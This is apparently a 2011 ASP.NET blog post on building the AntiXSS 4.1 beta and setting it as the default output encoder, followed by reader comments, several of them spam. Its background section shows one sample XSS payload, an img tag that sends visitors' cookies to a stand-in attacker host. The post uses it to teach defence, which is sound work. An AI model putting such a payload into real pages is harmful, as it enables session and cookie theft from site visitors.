Using AntiXSS 4.1 Beta as the Default Encoder in ASP.NET

Background on Cross-site scripting attacks

Cross-site scripting attacks, or XSS, are a common web application vulnerability in which an attacker uses your website to present malicious code to another user. OWASP sums it up like this:

Cross-site scripting (XSS) attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user.

A simple example of this kind of attack works like this:

  1. A hacker - we'll call him Barry - notices that my blog's comment system doesn't screen input
  2. Barry posts some malicious content, maybe something with a script tag, or maybe something that steals cookies, like
    Great post! Gucci handbags! <img src='http://evil.ly/?cookies=' + escape(document.cookie)" />
  3. The next person to visit my site - we'll call him Rob Conery - is presented with the HTML that Barry posted in the comment, which grabs their cookies and sends them off to their evil server

This is a simple example, but as you can imagine, these attacks can get pretty devious. Twitter, Facebook, and MySpace have been hit with this. Take a look at the OWASP writeup for more info, and take a look at the XSS Cheat Sheet at ha.ckers.org to get an idea of how sneaky these attacks can be.

AntiXSS

AntiXSS, part of the Windows Protection Library, has a lot of encoding functions which help prevent XSS attacks in ASP.NET applications. Whereas the standard .NET framework encoding uses a blacklist approach, filtering out known bad characters, like < > and " characters, the AntiXSS library uses a whitelist of known good characters. AntiXSS also has protections in place spanning character sets in over a different languages. Due to this approach, AntiXSS is inherently safer against new XSS attacks.

There are two ways you can use AntiXSS in your ASP.NET applications:

  1. You can make use of the AntiXSS Encoder in your application code (e.g. controller code, View markup, Web Forms code behind, and Web Forms markup)
  2. If you're using ASP.NET 4.0, you can also specify a default encoder, which will be used by ASP.NET whenever it needs to encode output. The recommended approach is to use AntiXSS as your default encoder.

All this is, so far, old news. Phil Haack wrote a blog post last year on  Using AntiXss As The Default Encoder For ASP.NET. This required including the AntiXssLibrary assembly in your application, and writing a class which inherits from the HttpEncoder abstract base class, and making a setting in the web.config which tells the ASP.NET runtime to use your encoder class.

Starting with AntiXSS 4.1, though, this gets easier, since AntiXSS 4.1 includes an encoder class for you.

Getting the AntiXSS 4.1 library

Since AntiXSS 4.1 is currently in beta, you'll need to build the assembly from source. Fortunately, in a break from the standard OSS .NET projects I've encountered lately, Barry has posted source that builds without any wacky configuration steps, libraries, or build tools whatsoever. I like it already!

Note: Since this we're just adding an assembly to our project and making a simple change to the web.config, I would expect that this will be available as a  NuGet package when AntiXSS 4.1 goes RTM.

1. Grab the source from http://wpl.codeplex.com/SourceControl/list/changesets, download the latest version of the source, and build. Easy so far.

2. Build the Microsoft.Security.Application.Encoder.Net4 assembly. This is important - if you just build the Encoder project, it won't include the AntiXssEncoder class.

2011-04-27 16h28_43

3. Grab the AntiXssEncoder.dll assembly and drop it in a folder. I generally keep a /lib folder next to my project folder, so it sits next to the /packages folder if you've got NuGet packages installed as well.

2011-04-28 10h03_08

4. Add a project reference to the AntiXssLibrary.dll. The simplest way to do this is to use the Project / Add Reference dialog, pick the Browse tab, and navigate to the /lib folder you just added.

2011-04-28 10h06_47

5. Modify your web.config so that your system.web/httpRuntime/encoderType is set as shown below:


<system.web>
  <httpRuntime encoderType="Microsoft.Security.Application.AntiXssEncoder, AntiXssLibrary" />
  <compilation debug="true" targetFramework="4.0">
    <assemblies>
      <add assembly="System.Web.Abstractions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31BF3856AD364E35" />
      <add assembly="System.Web.Helpers, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31BF3856AD364E35" />
      <add assembly="System.Web.Routing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31BF3856AD364E35" />
      <add assembly="System.Web.Mvc, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31BF3856AD364E35" />
      <add assembly="System.Web.WebPages, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31BF3856AD364E35" />
    </assemblies>
  </compilation>

That's it. Now any time ASP.NET needs to encode content, it will delegate to the AntiXssEncoder.

What's changed?

Well, there's really an observable change, honestly. I asked around for examples of known XSS vulnerabilities that would get by the ASP.NET default encoder but would be caught by switching to use AntiXSS as the default encoder and came up empty. So... was I just wasting your time?

No, this was still time well spent, for three reasons:

  1. AntiXSS is inherently more secure due to using a whitelist approach. Many security audits and certifications will require you to use a whitelist XSS encoder because a blacklist is always potentially vulnerable to unknown attacks.
  2. Newer browsers have better XSS filtering built in, but there are vulnerabilities in older browser (e.g. UTF-7 charset switch) which wouldn't be detected picked up by the ASP.NET default encoder.
  3. It's now easier to use the other AntiXSS encoding functions within your application. We'll look at that in the next post.

15 Comments

  • Any thoughts on the performance impact this change gonna make?

  • HEY! I resemble that remark (although, for demo porpoises I redirect to www.katyperry.com these days)

  • I think we are using Anti-Xss 4 library for our encoder as well, but I think it has a bug.

    In our project, if we do this:

    @Html.TextAreaFor(m => m.ModelProp)

    It generates a field with spaces between class names encoded and the line break that is supposed to be rendered inside the tag (a null property value) encoded as well. So when you click the textarea, Firefox assumes the value is the line break.

    I tried this same code on a blank project and it works fine.

    It might be our implementation but does anyone else have or have you seen that issue?

  • I installed this package using NuGet but I don't see it update my Web.config file. Should I do it manually?

  • @Kamran - yes, it's a known issue, however it's a MVC issue. That team has been made aware of it.

    @non - the NuGet package is release code, v4.0. It's not the 4.1 beta, I feel uncomfortable about putting beta code on NuGet. You must go to codeplex, pull the source and compile it up yourself if you want to swap the default encoder out.

  • Your build instructions don't work. I opened the default solution and added the Encoder.Net4 project (it wasn't there to begin with). Flipped to release mode, and right-click built the Encoder.Net4 project. I had to grab the AntiXss.snk from v3.1 because it was missing and sign Encoder as well for the build to work. The resulting output is two assemblies (AntiXssLibrary.dll and Microsoft.Security.Application.Encoded.Net4.dll) The former doesn't have the AntiXssEncoder class. The latter does.

  • Nice post.
    Keep it up.

    Read further: http://www.codinghub.net/2011/11/tutorial-cross-site-scripting-in-aspnet.html

  • Hi Jon,

    We've added the AntiXSS to our web.config, but we noticed that e.g. the src-attribute of an ASP.NEt Image control gets urlencoded: src="http%3a//www.microsoft.nl/logo.png"

    Now the image has an invalid url. Is this fixable?



  • Have you ever thought about adding a little bit more than just your articles?

    I mean, what you say is important and all. Nevertheless imagine if you
    added some great visuals or video clips to give your posts
    more, "pop"! Your content is excellent but with images and
    video clips, this site could definitely be one of the very best in its
    field. Very good blog!

  • Please let me know if you're looking for a article writer for your weblog. You have some really great posts and I feel I would be a good asset. If you ever want to take some of the load off, I'd really like to write some
    content for your blog in exchange for a link back to mine.
    Please blast me an email if interested. Regards!

  • Hi Dear, are you really visiting this site regularly,
    if so after that you will definitely obtain pleasant
    experience.

  • Hello, i think that i saw you visited my weblog thus i came to ┬ôreturn the
    favor”.I'm attempting to find things to improve my website!I suppose its ok to use some of your ideas!!

  • Thanks to my father who informed me regarding this web site, this
    web site is in fact awesome.

  • When I originally commented I clicked the "Notify me when new comments are added" checkbox and
    now each time a comment is added I get three emails with the same
    comment. Is there any way you can remove me from that
    service? Many thanks!

  • Excellent goods from you, man. I've understand your stuff previous to and you're just extremely great.
    I actually like what you have acquired here, certainly
    like what you are stating and the way in which you say it.

    You make it entertaining and you still care for to keep it wise.
    I can not wait to read much more from you. This is really a wonderful web site.

Comments have been disabled for this content.